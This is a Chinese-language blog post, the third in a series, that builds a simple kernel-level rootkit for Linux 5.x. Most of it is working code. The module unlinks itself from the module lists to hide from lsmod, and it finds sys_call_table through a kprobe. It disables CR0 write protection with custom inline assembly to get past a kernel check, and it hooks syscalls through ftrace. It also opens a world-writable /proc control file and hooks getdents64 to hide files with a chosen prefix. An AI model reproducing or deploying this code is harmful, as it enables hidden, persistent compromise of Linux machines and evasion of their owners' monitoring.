Rootkit
Mon 24 January 2022
Linux下进程隐藏 三 - 高版本Linux下简易Rootkit编写 ⑨BIE • 2022-01-24 • 1 评论
请注意,本文编写于 1105 天前,最后修改于 1071 天前,其中某些信息可能已经过时。
前言 本文用途:只是为了记录自己的研究过程,参考的内容都会给出来源。
经过前面两章的研究,我们已经研究了在用户层下面的相关研究方案,然而用户层下面终究会有一些蛛丝马迹泄露出我们后面相关的蛛丝马迹,所以我们就得编写一个简易的内核层的东西来。
先确定目标,我们的 rootkit 必须有三个功能,一个是自身的隐藏,让用户无法检测到我们自己的存在,第二个是对系统关键内容的修改,比如隐藏文件,隐藏进程,隐藏 CPU 指行状态等,对其他程序进行隐藏,第三个就是想到再说
首先第一步,我们先从网络上最简单的 hello,world 开始
? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 //hello.c
include
include
MODULE_LICENSE("GPL");
static int hello_init(void)
{
printk(KERN_ALERT "Hello, world\n");
return 0;
}
static void hello_exit(void)
{
printk(KERN_ALERT "Goodbye, cruel world\n");
}
module_init(hello_init);
module_exit(hello_exit);
?
1
2
3
4
5
6
7
8
9
//Makefile
obj-m :=hello.o
KERNEL :=/lib/modules/$(shell uname -r)/build
PWD :=$(shell pwd)
modules :
$(MAKE) -C $(KERNEL) M=$(PWD) modules
.PHONEY:clean
clean :
rm -f .o .ko
上面就是要给最简单的 hello,world 最简单的代码。
然而想要直接编译我们还得先安装一个源码包,否则没法编译
?
1
2
apt install build-essential
apt install linux-headers-uname -r
根据系统的不同自行替换包管理软件,反正大体都是 linux-headers-xxx 之类的软件。至于 build-essential,不同系统有不同的叫法,比如 arch 是 base-devel。centos 是。。什么什么 devel 来着总之就是类似的东西。
安装了之后才会在 /lib/modules/ 下有当前系统的源码包,我们以上的代码才能编译。
编译成功后会在系统下面生成一个 ko 文件,使用 insmod 可以进行加载,lsmod 可以查看所有安装的模块,然后试 rmmod 可以对模块进行删除。
hello_ko.png hello_ko.png 隐藏自身 由于这部分已经有作者写过了,说的很详细,我就一笔带过,详细可以参考【CODE.0x01】简易 Linux Rootkit 编写入门指北
这篇文章,基本原理就是与,模块所有信息都储存于一个结构体链表中,只需要把我们的模块从这个链表中删除,那么 lsmod 工具就无法发现我们的模块,当然也不是没有发现的办法,这个我们后面再说。
简单的使用方法就是如下
? 1 2 3 list_del(&THIS_MODULE->list); kobject_del(&THIS_MODULE->mkobj.kobj); list_del(&THIS_MODULE->mkobj.kobj.entry); 上述的方案就是删除 /proc/modules。/sys/modules 和 kobj 中的链表相关内容。这样执行之后我们的模块就无法通过 lsmod 这类工具查找出来了。
其中 THIS_MODULE 是一个 C 的宏,指向模块自身。
this_module.PNG this_module.PNG 隐藏文件?no! 得先看看如何HOOK 使用 strace 我们可以看到 ls 的所有栈调用,我们可以从中选择我们希望 hook 的函数。
我们在 ring3 下使用 LD_PRELOAD 的方式就是 hook readdir 函数。然而在内核中,我们应该直接 HOOK 系统调用号。
现在唯一的问题就是如何 HOOK
对于提升到内核当中的我们来说,首要的问题不是是否有权限,最大的问题是 HOOK 哪里。又回到了老生常谈的寻址问题。
在早期内核中,有一个非常简单的寻址方式就是利用 kallsyms_lookup_name 直接通过 kallsyms_lookup_name 和 lookup_address 找到 sys_call_table 的地址然后就可以直接使用该地址
? 1 2 3 4 syscall_table = (void *)kallsyms_lookup_name("sys_call_table");
/ get the page table entry (PTE) for the page containing sys_call_table / pte = lookup_address((long unsigned int)syscall_table, &level); 通过上面的方法就可以随心所欲的找到我们的目标地址并进行 HOOK,然而
? 1 [Unexporting kallsyms_lookup_name()][4] kallsyms_lookup_name 模块最近被废止了。至少在比较新的系统上是无法使用它了。
然后就是网络上的其他方法,最典型的是暴力搜索法。
意外的发现一个参考资料 Linux Rootkit 系列,里面写的很详细,然而问题是这篇文章的东西有点老,很多东西都无法使用了。这里就大致记录下几个坑吧
虽然说 kallsyms_loopup_name 是无法使用,但是如果直接读取 /proc/kallsyms,还是能获得到地址的
? 1 sudo cat /proc/kallsys |grep -w sys_call_table 接下来根据文章,直接暴力搜索内存, 这也是很多文章中通用的方法
? 1 2 3 4 5 6 7 8 9 unsigned long get_sys_call_table(void) { unsigned long entry = (unsigned long *)PAGE_OFFSET; for(; (unsigned long)entry < ULONG_MAX; entry += 1){ if(entry[__NR_close] == (unsigned long )sys_close) return entry; } return NULL; } 使用这段代码,首先遇到的一个问题是,‘sys_close’ undeclared,后来根据了解在 2.6 之后 sys_close 被替换成了 ksys_close,然而即使替换程了 ksys_close 也无法使用。
这是因为在现代内核(>4.15)中,系统将不再到处系统调用了。
接下来就是文章中另外一个用法:/boot/System.map
然而,从 v5.10 之后,System.map 将不再提供地址信息了。详细可以参考这里:Linux Kernel
?
1
2
cat /boot/System.map-5.14.0-kali4-amd64
ffffffffffffffff B The real System.map is in the linux-image-
在一番的搜寻后,我发现了如下方法
ftrace辅助查找法 这是一个非常新的技术,专门适用于 >5.7 的 linux 版本系统,详细可以查看这个文章
Linux Rootkits: New Methods for Kernel 5.7+
根据文章,我们可以直接使用
? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
include
include
static struct kprobe kp = { .symbol_name = "kallsyms_lookup_name" };
static void test(){ typedef unsigned long (kallsyms_lookup_name_t)(const char name); kallsyms_lookup_name_t kallsyms_lookup_name; register_kprobe(&kp); kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; unregister_kprobe(&kp); unsigned long *syscall_table = kallsyms_lookup_name("sys_call_table");
printk(KERN_ALERT "ROOTKIT syscall_table is at %p",syscall_table);
} 就可以获得到 syscall_table 的地址。
get_it.png get_it.png 接下来我们直接试着修改表内容,遇到的第一个问题就是 cr0 保护问题,
我使用如下代码
? 1 2 3 4 write_cr0(read_cr0() & (~0x10000)); // 关闭内核写保护 oldadr = (unsigned int)syscall_table[__NR_uname]; // 保存真实地址 syscall_table[__NR_uname] = myfunc; // 修改地址 write_cr0(read_cr0() | 0x10000); // 恢复写保护 遇到了如下问题:
? 1 [ 11.148893] CR0 WP bit went missing!? 经过一番查找,发现是在高版本中,内核会判断 write_cr0 是否被修改导致引发 panic,根据如下的解决方案
? 1 [how-to-write-to-protected-pages-in-the-linux-kernel][9] 自定义一个 inline function 修改 cr0 值就可以,最后目前我们的代码如下
? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
include
include
include
include
include
MODULE_LICENSE("GPL");
include
include
static struct kprobe kp = {
.symbol_name = "kallsyms_lookup_name"
};
unsigned int oldadr;
unsigned long syscall_table;
unsigned long __force_order;
inline void mywrite_cr0(unsigned long cr0) {
asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order));
}
void enable_write_protection(void) {
unsigned long cr0 = read_cr0();
set_bit(16, &cr0);
mywrite_cr0(cr0);
}
void disable_write_protection(void) {
unsigned long cr0 = read_cr0();
clear_bit(16, &cr0);
mywrite_cr0(cr0);
}
void myfunc(void)
{
printk(KERN_ALERT "hook test!\n");
return;
}
static int hello_init(void)
{
typedef unsigned long (kallsyms_lookup_name_t)(const char *name);
kallsyms_lookup_name_t kallsyms_lookup_name;
register_kprobe(&kp);
kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
unregister_kprobe(&kp);
syscall_table = kallsyms_lookup_name("sys_call_table");
printk(KERN_ALERT "ROOTKIT syscall_table is at %p",syscall_table);
if (syscall_table)
{
disable_write_protection();// 关闭内核写保护
oldadr = (unsigned int)syscall_table[__NR_uname]; // 保存真实地址
syscall_table[__NR_uname] = myfunc; // 修改地址
enable_write_protection(); // 恢复写保护
printk(KERN_ALERT "hook success\n");
} else {
printk(KERN_ALERT "hook failed\n");
}
printk(KERN_ALERT "Hello, world\n");
return 0;
}
static void hello_exit(void)
{
if (syscall_table) {
disable_write_protection();
syscall_table[__NR_uname] = oldadr; // 恢复原地址
enable_write_protection();
printk(KERN_ALERT "resume syscall table, module removed\n");
}
printk(KERN_ALERT "Goodbye, cruel world\n");
}
module_init(hello_init);
module_exit(hello_exit);
然后 Makefile 文件不变,在我 linux-5.14 下编译通过
HOOK 上面的代码我们使用了 syscall_table[__NR_uname] 进行函数的 HOOK,这样不是不行,但是我们都引用了 ftrace 包了,自然应该使用更优雅的 HOOK 方案。
详细文档在这:Using ftrace to hook to functions - kernel.org
直接根据文档
? 1 2 3 4 5 6 7 8 9 10 11 struct ftrace_ops ops = { .func = my_callback_func, .flags = FTRACE_OPS_FL_SAVE_REGS | FTRACE_OPS_FL_RECURSION_SAFE | FTRACE_OPS_FL_IPMODIFY; };
ret = ftrace_set_filter_ip(&ops, sys_call_table_function_address, 0, 0);
register_ftrace_function(&ops); 就这样,一个 HOOK 就做好了。该 HOOK 和我们以往的 HOOK 并不太一样,以往的 HOOK 都是直接暴力修改 sys_call_table 的地址。
然而 ftrace 是用其他的实现方式,文档中使用了 callback 进行 HOOK 函数的回调,原型如下
? 1 2 void callback_func(unsigned long ip, unsigned long parent_ip, struct ftrace_ops op, struct pt_regs regs); 然后,每个参数的功能如下。
@ip This is the instruction pointer of the function that is being traced. (where the fentry or mcount is within the function)
@parent_ip This is the instruction pointer of the function that called the the function being traced (where the call of the function occurred).
@op This is a pointer to ftrace_ops that was used to register the
This can be used to pass data to the callback via the pointer. @regs If the FTRACE_OPS_FL_SAVE_REGS or FTRACE_OPS_FL_SAVE_REGS_IF_SUPPORTED flags are set in the ftrace_ops structure, then this will be pointing to the pt_regs structure like it would be if an breakpoint was placed at the start of the function where ftrace was tracing. Otherwise it either contains garbage, or NULL.
我英语贼辣鸡就不乱翻译了,我们看向其中的重点 regs,regs 是一个 pt_regs 结构,研究我们之前 LINUX 进程注入的时候就应该很熟悉了,这东西会保存函数调用时寄存器中所有的信息,意味着我们如果需要参数,就需要根据 linux 调用方式从 pt_regs 的寄存器中分别读出内容。然后进行操作。
重点 同时,因为我们以往都是直接暴力修改函数地址制作 HOOK,所以可能会造成思维定势,ftrace 的 HOOK 和这不一样,这个 callback 并不是执行到 HOOK 点就替换成我们的 callback,而是类似一个 filter 的存在。具体操作还是要看 filter 对于寄存器的 IP 的修改,如果不进行任何修改,那么仅仅在指行这个 filter 之后原本的函数还是会继续运行。所以我们的代码如下。我们假设 HOOK 一个 mkdir。
? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 static asmlinkage long fake_mkdir(struct pt_regs regs){ // do something 我们的HOOK函数 long ret = ori_sys_mkdir(regs); //保证原函数的运行 return ret; } void my_callback_func(unsigned long ip, unsigned long parent_ip, struct ftrace_ops op, struct ftrace_regs regs){ struct pt_regs p_regs; p_regs = ftrace_get_regs(regs); //必须要用这个方法把ftrace_regs转成pt_regs p_regs->ip = (unsigned long)fake_mkdir;
}
static asmlinkage long (ori_sys_mkdir)(struct pt_regs regs); // 用于保存sys_mkdir的原始地址 static void hook(){ int err = ftrace_set_filter_ip(&ops, sys_mkdir, 0, 0); if(err) { printk(KERN_ALERT "rootkit: ftrace_set_filter_ip() failed: %d\n", err);
}
err = register_ftrace_function(&ops);
if(err)
{
printk(KERN_ALERT "rootkit: register_ftrace_function() failed: %d\n", err);
}
*((unsigned long*) &ori_sys_mkdir) = sys_mkdir;// 修改ori_sys_mkdir为原本的系统调用以备我们后续调用
} 以上就是一个简单的 HOOK 过程,可以看到 callback 其实并不是直接一个传统意义上的 HOOK。也就是 修改 -> 指行,而是更类似于一个工厂函数,下一步动作取决于工厂函数对寄存器的操作:我们修改了寄存器的 IP 让程序跳转到了我们的 fake 函数,进行了一些处理后,再把数据交给原本函数(当然不交也行)完成一个 HOOK。
然而以上代码有一个非常严重的错误,这个错误甚至能导致你的系统奔溃,记住我们的 HOOK 不是直接替换地址。而是匹配地址就触发 callback,也就是说,即使我们在 fake 函数中,正确调用了原本 sys_mkdir 后,还是会触发到我们的 callback,然后再次被修改 IP 调转到我们的 fake 函数,然后 fake 函数再调用 sys_mkdir 然后再 callback.....
这就造成了一个死循环。第一个想的解决办法,就是在 fake 函数调用 sys_mkdir 的时候取消掉 filter 的注册。。这样也不是不行,但是感觉开销太大了。于是乎我找到了一个好东西 within_module
? 1 2 3 4 5 6 static inline bool within_module_core(unsigned long addr, const struct module *mod) { return (unsigned long)mod->core_layout.base <= addr && addr < (unsigned long)mod->core_layout.base + mod->core_layout.size; } 因为 callback 提供了上层调用者的 IP,然后我们只需要用 within_module 和 THIS_MODULE 宏比对,判断调用 sys_mkdir 的是否是我们当前的模块就知道是否是 fake 函数调用来的,如果是那里调用来的则忽略 HOOK 请求
? 1 2 3 4 5 6 7 8 void my_callback_func(unsigned long ip, unsigned long parent_ip, struct ftrace_ops op, struct ftrace_regs regs){ struct pt_regs *p_regs; p_regs = ftrace_get_regs(regs); if (!within_module(parent_ip, THIS_MODULE)){ p_regs->ip = (unsigned long)fake_mkdir; } } 重点2 我们把目光转到 fake_mkdir,假设我们想 HOOK,就必须要对参数进行修改,或者说是读取。
由于给了寄存器我们可以根据 Linux 系统调用约定来读取相关的内容。比如我们要读取第一个参数可以直接 char __user pathname = (char )regs->di;
但是我们会发现,如果直接 printk 出来的内容并不可读,这是因为模块处于内核空间,而我们输出的是用户空间,所以我们得需要 copy_to_user 和 copy_from_user 这两个函数把数据读取到用户空间才能输出内容
代码如下
? 1 2 3 4 5 6 7 8 9 10 11 static asmlinkage long fake_mkdir(struct pt_regs *regs){
char __user *pathname = (char *)regs->di;
char dir_name[NAME_MAX] = {0};
long error = strncpy_from_user(dir_name, pathname, NAME_MAX);//把数据读取到用户空间
if (error >0){
printk(KERN_ALERT "HOOK MKDIR NAME:\t%s\n",dir_name);
}
long ret = ori_sys_mkdir(regs);
return ret;
} 效果如下
屏幕截图 2022-02-12 135613.png 屏幕截图 2022-02-12 135613.png 同理,我们如果要修改参数,就得用copy_to_user把我们本地的内容替换过去。 ? 1 2 3 4 5 6 7 8 static asmlinkage long fake_mkdir(struct pt_regs *regs){
char __user *pathname = regs->di;
char dir_name[NAME_MAX] = "a";
long error = copy_to_user(pathname,dir_name, NAME_MAX);
long ret = ori_sys_mkdir(regs);
return ret;
} 效果如下
屏幕截图 2022-02-12 170116.png 屏幕截图 2022-02-12 170116.png 到这里,我们的HOOK基本就完成了 交互 这一章节可以省略,但是也不是不能讲讲,毕竟有时候比如我们需要进行一些交互的操作,类似于提权啊,或者一些其他高级操作的时候,我们不可能一直修改内核代码再编译,这样太麻烦了。所以我们得像 shell 命令一样,找一个地方进行交互。
网络上现有的大部分 rootkit 方案都是对 /proc 的 proc_fops 进行 hook,对用户传入的数据进行处理。
关键我们看这个
? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 struct proc_dir_entry { unsigned int low_ino; unsigned short namelen; const char name; mode_t mode; nlink_t nlink; uid_t uid; gid_t gid; loff_t size; const struct inode_operations proc_iops;
const struct file_operations* proc_fops;
struct proc_dir_entry* next, *parent, *subdir;
void* data;
read_proc_t* read_proc;
write_proc_t* write_proc;
atomic_t count; /* use count */
int pde_users; /* number of callers into module in progress */
spinlock_t pde_unload_lock; /* proc_fops checks and pde_users bumps */
struct completion* pde_unload_completion;
struct list_head pde_openers; /* who did ->open, but not ->release */
}; 使用 create_proc_entry () 函數創建在 /proc 文件系統中創建一個虛擬文件 函數返回值的 proc_dir_entry 結構體中包含了 /proc 節點的讀函數指針 (read_proc_tread_proc)、寫函數指針 (write_proc_t write_proc) 以及父節點、子節點信息等。讀寫函數的原型為:
? 1 2 3 4 typedef int (read_proc_t)(char page, char start, off_t off, int count, int eof, void data); typedef int (write_proc_t)(struct file file, const char __user buffer, unsigned long count, void data); 這兩個函數指針需要我們在創建完了節點之後再給其賦值,而函數也需要自己來實現。其實這兩個函數也就是當用戶空間讀寫該文件時,內核所做的動作。
资料引用自:proc 虛擬文件系統
我们注意 proc_dir_entry 中的 parent 成员,这个成员可以指向父目录的成员。我们使用 create_proc_entry 在 /proc 下创建了一个虚拟文件后,就可以使用 parent 找到 /proc 的 proc_dir_entry 结构体,然后我们劫持 proc 的 fops,这样我们的程序就能实现往 /proc 写入数据传递到我们 ko 模块的效果了。
或者不整那么花里胡哨的,就用普通在 proc 下专门创建个文件接收也不是不行。
原本我也是打算直接照抄的,然而在高版本 linux 中,这个地方出现了一点变化。
首先是从 5.5 开始 create_proc_entry() 被修改为 proc_create()。
同时 proc_dir_entry 结构体也变成了这样
? 1 2 3 4 struct proc_dir_entry proc_create(const char name, umode_t mode, struct proc_dir_entry parent, const struct proc_ops proc_ops); 我们注意其中的 proc_ops,由原先的 file_operations 类型转变程了 proc_ops 类型。详情可以查看:proc: convert everything to struct proc_ops 这样用法也转变成了这样
? 1 2 3 4 static const struct proc_ops proc_file_fops_output = { .proc_read = rootkit_read, .proc_write = rootkit_write, }; 其他基本就没啥问题了,
? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 char cmd_output = NULL; int cmd_output_len = 0; ssize_t output_write(struct file file, const char buf, size_t len, loff_t offset) { long error;
if(cmd_output_len != 0)
kfree(cmd_output);
cmd_output = kzalloc(len, GFP_KERNEL);
error = copy_from_user(cmd_output, buf, len);
printk(KERN_ALERT "cmd_line: %s\n",cmd_output);
if(error)
return -1;
cmd_output_len = len;
return len;
} ssize_t output_read(struct file file, char buf, size_t len, loff_t offset) { int ret; char kbuf = NULL; long error; static int finished = 0; kbuf = kzalloc(cmd_output_len, GFP_KERNEL); strncpy(kbuf, cmd_output, cmd_output_len);
if ( finished )
{
finished = 0;
ret = 0;
goto out;
}
else
{
finished = 1;
error = copy_to_user(buf, kbuf, cmd_output_len);
if(error)
return -1;
ret = cmd_output_len;
goto out;
}
out: kfree(kbuf); return ret; }
static struct proc_ops proc_file_fops_output = {
.proc_read = output_read,
.proc_write = output_write,
};
static int hello_init(void)
{
proc_entry = proc_create("test", 0666, NULL, &proc_file_fops_output);
if (proc_entry == NULL) {
printk(KERN_INFO "fortune: Couldn't create proc entry\n");
}
printk(KERN_ALERT "Hello, world\n");
return 0;
}
proc_ok.png
proc_ok.png
这些完成之后,就该进入我们 rootkit 主要模块的编写了
隐藏文件 能 hook sys_call_table 后,解决了怎么 hook 的问题,接下来就是 Hook 哪里。
我们直接使用 strace ls, 来查看一个文件的调用栈。
? 1 2 3 4 5 6 7 8 9 10 11 12 ioctl(1, TCGETS, {B38400 opost isig icanon echo ...}) = 0 ioctl(1, TIOCGWINSZ, {ws_row=48, ws_col=209, ws_xpixel=0, ws_ypixel=0}) = 0 openat(AT_FDCWD, ".", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3 newfstatat(3, "", {st_mode=S_IFDIR|0755, st_size=4096, ...}, AT_EMPTY_PATH) = 0 getdents64(3, 0x5597ad35d730 / 3 entries /, 32768) = 88 getdents64(3, 0x5597ad35d730 / 0 entries /, 32768) = 0 close(3) = 0 newfstatat(1, "", {st_mode=S_IFCHR|0600, st_rdev=makedev(0x88, 0x1), ...}, AT_EMPTY_PATH) = 0 write(1, "5.16.5-arch1-1\n", 155.16.5-arch1-1 ) = 15 close(1) = 0 close(2) = 0 我就给出个部分,我们看到其中两个最主要的函数。一个是 getdents64,一个是 write。对于这两个,我们可以从 Linux Syscall Reference 中看出来,主要是 sys_write 和 sys_getdents64 这两个,前者是(仅仅针对 ls 的情况)对处理完的数据输出到控制台时候的操作,后者才是真正的 Linux 内核对于磁盘中文件处理的函数。
Hook 两者各有利弊,Write 主要在于系统中使用的地方太多,这种过滤影响性能不说,输出的文字形势千奇百怪,我们不好直接匹配,以及这是属于一种掩耳盗铃的手法,实际上系统任然能够操作文件。
所以我们还是 HOOK 后面一个函数比较好。直接对这个文件定义就行一个函数的查
? 1 int sys_getdents64( unsigned int fd, struct linux_dirent 64 __user * dirent, unsigned int count); 这就是函数的定义,我们其他都不看,就看中间这个 linux_dirent64 __user,它的定义如下
? 1 2 3 4 5 6 7 struct linux_dirent64 { u64 d_ino; s64 d_off; unsigned short d_reclen; unsigned char d_type; char d_name[]; }; 其中,这个结构体,我们应该非常熟悉,因为我们在 R3 下使用 LD_PRELOAD 劫持进行文件隐藏时,也遇到过类似的结构,详情可以查看这里
其中 d_relen 包含着当前结构体长度,然后 d_name 写着当前目录的名称,我们要做的就是比对 d_name,判断是否是我们需要隐藏的,如果是需要隐藏,则把这部分的结构体给删除掉。
那么如何删除呢。linux_dirent64 在内存种的排列是连续的,而且 sys_getdents64 的第二个参数 dirent 正好指向第一个 linux_dirent64 结构体,所以根据上面的信息,我们只要知道 linux_dirent64 链表的大小,就能根据 linux_dirent64->d_reclen,就能准确从连续的内存中分割出每一块 linux_dirent64。
而 sys_getdents64 的返回值刚好就是 linux_dirent64 整片链表的大小,那么要素齐全了,我们就可以开始操作了。
开始摆烂,我直接上别人的源码了。代码引用自:rootkit.c
? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
define PREFIX "boogaloo"
static asmlinkage int fake_getdents64(const struct pt_regs *regs){
/ These are the arguments passed to sys_getdents64 extracted from the pt_regs struct / struct linux_dirent64 __user dirent = (struct linux_dirent64 )regs->si; long error;
struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL;
unsigned long offset = 0;
/* We first have to actually call the real sys_getdents64 syscall and save it so that we can
* examine it's contents to remove anything that is prefixed by PREFIX.
* We also allocate dir_entry with the same amount of memory as */
int ret = ori_getdents64(regs);
dirent_ker = kzalloc(ret, GFP_KERNEL);
if ( (ret <= 0) || (dirent_ker == NULL) )
return ret;
/* Copy the dirent argument passed to sys_getdents64 from userspace to kernelspace
* dirent_ker is our copy of the returned dirent struct that we can play with */
error = copy_from_user(dirent_ker, dirent, ret);
if (error)
goto done;
/* We iterate over offset, incrementing by current_dir->d_reclen each loop */
while (offset < ret)
{
/* First, we look at dirent_ker + 0, which is the first entry in the directory listing */
current_dir = (void *)dirent_ker + offset;
/* Compare current_dir->d_name to PREFIX */
if ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0)
{
/* If PREFIX is contained in the first struct in the list, then we have to shift everything else up by it's size */
if ( current_dir == dirent_ker )
{
ret -= current_dir->d_reclen;
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
continue;
}
/* This is the crucial step: we add the length of the current directory to that of the
* previous one. This means that when the directory structure is looped over to print/search
* the contents, the current directory is subsumed into that of whatever preceeds it. */
previous_dir->d_reclen += current_dir->d_reclen;
}
else
{
/* If we end up here, then we didn't find PREFIX in current_dir->d_name
* We set previous_dir to the current_dir before moving on and incrementing
* current_dir at the start of the loop */
previous_dir = current_dir;
}
/* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole
* directory listing */
offset += current_dir->d_reclen;
}
/* Copy our (perhaps altered) dirent structure back to userspace so it can be returned.
* Note that dirent is already in the right place in memory to be referenced by the integer
* ret. */
error = copy_to_user(dirent, dirent_ker, ret);
if (error)
goto done;
done: / Clean up and return whatever is left of the directory listing to the user / kfree(dirent_ker); return ret; } 效果如下
hidden_file.png hidden_file.png 自此,我们一个简易的隐藏文件就整好了
自启动 哪天不想咕咕咕了就来写
结尾 虽说只实现了一个文件隐藏功能,但是基本的 rootkit 所需具备的框架已经基本都完成了。
要对此进行扩展只需要使用 strace 找到 HOOK 点,然后添加 HOOK,然后对数据进行处理。无外乎这些。
以前觉得啊 rootkit 好帅好流弊,这次才知道 linux rootkit 其实并不怎么轻松。
主要还是在于 linux 和 windows 的两种不同策略。linux 在于可持续性可靠的文档。而 windows 讲究向下兼容。
Linux 对于安全的态度是交给用户把控,而 windows 的话则强制要求签名。
所以导致 Linux 的 rootkit 对于系统版本的要求很严格,甚至一个更新内核关键数据修改就全部木大。
但是也不是没有办法,就是花时间和精力做出每个版本能勇的,然后遇到什么版本系统上什么版本系统的模块即可。
而 windows 的话则是直接一个强制驱动签名杀死了绝大部分 rootkit。
没了,就这么多了。
Category: 编程